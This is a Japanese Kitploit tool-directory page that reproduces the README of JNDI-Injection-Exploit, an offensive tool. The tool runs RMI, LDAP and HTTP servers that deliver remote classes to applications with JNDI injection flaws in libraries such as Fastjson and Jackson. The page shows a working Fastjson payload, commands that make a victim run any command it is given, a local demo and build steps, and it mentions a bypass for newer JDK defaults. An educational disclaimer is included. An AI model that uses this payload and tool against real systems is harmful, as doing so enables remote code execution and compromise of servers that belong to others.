Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
JNDI-Injection-Exploit — JNDIインジェクションテストツール(JNDIリンクを生成し、複数のサーバーを起動してJNDIインジェクション脆弱性(Jackson、Fastjsonなど)を悪用するためのツール) | Kitploit
ツール/GitHubGitHub/welk1n/jndi-injection-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用
GitHubwelk1n/jndi-injection-exploit

JNDI-Injection-Exploit

JNDIインジェクションテストツール(JNDIリンクを生成し、複数のサーバーを起動してJNDIインジェクション脆弱性(Jackson、Fastjsonなど)を悪用するためのツール)

リポジトリを見る
2.8k7306年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JNDI-Injection-Exploit

JNDIインジェクションに関する資料

中文文档

関連記事

説明

JNDI-Injection-Exploitは、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することで、動作可能なJNDIリンクを生成し、バックグラウンドサービスを提供するツールです。RMIサーバーとLDAPサーバーは marshalsec をベースにしており、HTTPサーバーと連携するようにさらに修正されています。

このツールを使用するとJNDIリンクを取得でき、それらのリンクを POC に挿入して脆弱性をテストできます。

例えば、これはFastjsonの脆弱性POCです:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

"rmi://127.0.0.1:1099/Object" をJNDI-Injection-Exploitで生成されたリンクに置き換えて、脆弱性をテストできます。

免責事項

すべての情報とコードは、教育目的および/または自身のシステムにおけるこれらの脆弱性のテストのためにのみ提供されます。

使用方法

以下のように実行します:

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

ここで:

  • -C - リモートのクラスファイルで実行されるコマンド。

    (オプション、デフォルトのコマンドは "open /Applications/Calculator.app")

  • -A - あなたのサーバーのアドレス。IPアドレスまたはドメイン名の可能性があります。

    (オプション、デフォルトのアドレスは最初のネットワークインターフェースのアドレス)

注意点:

  • サーバーのポート(1099、1389、8180)が利用可能であることを確認してください。

    または、run.ServerStartクラスの26~28行目でデフォルトポートを変更できます。

  • コマンドは Runtime.getRuntime().exec() にパラメータとして渡されるため、

    コマンドがexec()メソッドで動作可能であることを確認する必要があります。

    "bash -c ...." のようなbashでのコマンドは、二重引用符で囲む必要があります。

例

ローカルデモ:

  1. 以下のようにツールを起動:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
    

    スクリーンショット:

    image-20191018154346759

  2. ステップ1で生成されたrmi://ADDRESS/jfxllcのようなJNDIリンクを、JNDIインジェクションによって攻撃可能な脆弱性アプリケーションに注入すると仮定します。

    この例では、次のようになります:

    root@kitploit:~
    public static void main(String[] args) throws Exception{
        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1/fgf4fp");
    }
    

    このコードを実行すると、コマンドが実行され、

    シェルにログが出力されます:

    image-20191018154515787

インストール

以下の2つの方法のうちいずれかを選択してjarを取得できます。

  1. リリース から最新のjarをダウンロードします。

  2. ソースコードをクローンしてローカルでビルドします(Java 1.8+ および Maven 3.x+ が必要)。

    root@kitploit:~
    $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

今後の予定

  • (完了) このプロジェクトと JNDI-Injection-Bypass を統合し、高バージョンのJDKでデフォルトで trustURLCodebase が false の場合でも動作可能なリンクを生成できるようにする。
  • ……
ツールをダウンロード